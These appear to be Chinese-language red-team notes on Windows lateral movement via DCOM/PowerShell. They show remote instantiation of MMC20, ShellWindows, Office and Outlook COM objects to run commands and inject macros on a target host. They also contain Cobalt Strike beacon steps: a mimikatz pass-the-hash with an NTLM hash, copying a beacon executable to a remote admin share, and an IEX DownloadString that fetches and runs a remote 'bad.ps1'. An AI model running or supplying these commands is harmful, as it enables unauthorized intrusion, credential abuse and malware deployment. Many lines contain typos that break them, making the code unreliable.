$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.10")) | Get-member

$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.10")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:\windows32\system",$null,0)

4.SHELLBROWSERWINDOW

$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.10")) 

$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.10")).Document.Application.shellExecute("calc.exe")

$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","10.10.10.10")) 

$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","10.10.10.10")).[0].document.app;ication.shellExecute("calc")

$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) 

$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .createObject("Shell.Application")
$a.shellExecute(calc.exe)

$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")

$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .CreateObject("b")
$b.language = "VBScript"
$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')

$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10"))
$b = $a.documents.Add("")
$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')

$a = 'Sub Execute()'
CreateObject("Wscript.Shell").Exec("calc.exe")
End Sub
Sub AutoOpen()
Excute
end Sub'

$b = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application"))
$c = $b.Workbooks.Add("")
$c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意：这里加载我们上面的宏代码
$b.run("Book1!ThisWorkbook.Execute")
$b.Quit()

$b = [activator]::CreateInstance([type]::GetTypeFromProgID("word.application"))
$c = $b.Documents.Add("")
$c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意：这里加载我们上面的宏代码
$c.runAutoMacro(2)
$b.Quit()

$ppt = [activator]::CreateInstance([type]::GetTypeFromProgID("Powerpoint.Applicatiion"))
$pres = $ppt.Presentations.add(1)
$vbs = $pres.VBProject.VbComponents.add(1)
$vbs.CodeModule.AddFromString($a)
$ppt.Run("Execute")
$ppt.Quit()

$access = [activator]::CreateInstance([type]::GetTypeFromProgID("access.Application"))
$db = $access.NewCurrentDatbase("Fake_name")
$vbc = access.vbe,V8projects(1).VBSComponents.Add(1)
$vbc.CodeModule.AddFromString($a)
$access.Run("Execute")
$access.Quit()

基础知识

PowerShell构建与.NET Framework之上，而框架已经提供了对COM的近乎完美的支持。
如可以用.NET的机制获取封装COM对象的.NET的类型，用Activator类创建这个类的实例。

PS C:\Windows\system32> $a = [type]::GetTypeFromProgID("MMC20.application")   // 从GetTypeFromProgID()方法取回的类型的别名称之为“-ComObject”
PS C:\Windows\system32> $a     //可以看到读取回来了 //所有的COM对象都是被封装为这个类型

PS C:\Windows\system32> $b = [activator]::createInstance($a)   //通过Activator类的CreateInstance()方法来实例化一个对像 Activator对象用来创建.NET对象
PS C:\Windows\system32> $b 

PS C:\Windows\system32> $b | get-Member //get-Member cmdlet获取对象的成员，属性和方法 

Get-cimInstance win32_Dcomapplication

beacon>shell powershell.exe Get-WmiObject  -nameSpace root\cimv2 -class win32_dcomapplication 
    //目标机器是Windows7 也就是powershell2.0 所以我们使用 Get-WmiObject  -nameSpace root\cimv2 -class

https://docs.microsoft.com/en-us/previous-versions/system-center/configuration-manager-2003/cc181199(v=technet.10)?redirectedfrom=MSDN

Microsoft管理控制台（MMC）2.0包括脚本对象模型。
该对象模型可用于控制大多数SMS Administrator控制台功能。
通过使用WSH SendKeys对象（可以模拟键盘输入），可以控制MMC 2.0脚本对象模型无法控制的任何功能。
如果可以通过键盘控制该功能，则SendKeys可以对其进行控制。SendKeys可用于控制大多数SMS Administrator控制台，但是MMC 2.0脚本对象模型通常更可靠。
如果由于任何原因导致Windows焦点从SMS管理员控制台转移，则可以将SendKeys定向到错误的应用程序。

PS C:\Windows\system32> [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")) | Get-member 
   //根据前面“任何使用PowerShell进行通信” 我们可以构造这样的语句

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document | Get-member

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView | Get-member

ExecuteShellCommand           Method                void ExecuteShellCommand (string, string, string, string)

参量
一个值，指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量（例如“％windir％”）都将被扩展。
一个值，用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串，则将当前目录用作工作目录。
一个指定Command要使用的参数（如果有）的值；参数必须用空格分隔。例如，将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来，请使用适合您的编程语言的技术。例如，在Microsoft Visual Basic中，将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。
一个指定窗口状态的值。该值可以是以下字符串值之一，也可以是空字符串。如果为空字符串，则默认为“已恢复”。
“Maximized”
该命令在最大化的窗口中执行。
“Minimized”
该命令在最小化的窗口中执行。
“Restored”
该命令在已恢复或正常的窗口中执行。注意：这里会弹个黑框框
此方法不返回值。

ExecuteShellCommand（[命令][目录][叁数][窗口状态]）

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored") 

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ，“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
    //在远程主机上利用MMC.app;ication执行弹出计算器

拿下的主机 ip:10.10.10.8(内网) 192.168.50.148(外网)
横向的目标主机ip:10.10.10.10

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"10.10.10.10")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

beacon>mimikatz sekurlsa::pth /domian:10.10.10.10 /user:administrator /ntlm:161cff084477fe596a5db81874498a24

beacon>shell dir \\10.10.10.10\c$   //列出远程主机的目录 如果成功就表示IPC$链接了

beacon> shell copy C:\Users\administrator.WEB\Desktop\beacon123.exe \\10.10.10.10\c$

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","10.10.10.10")).Document.ActiveView.Executeshellcommand('powershell.exe',$null,"IEX(New-Object Net.WebClinet).DownloadString('http://www.cn0sec.cn/bad.ps1')","Restored")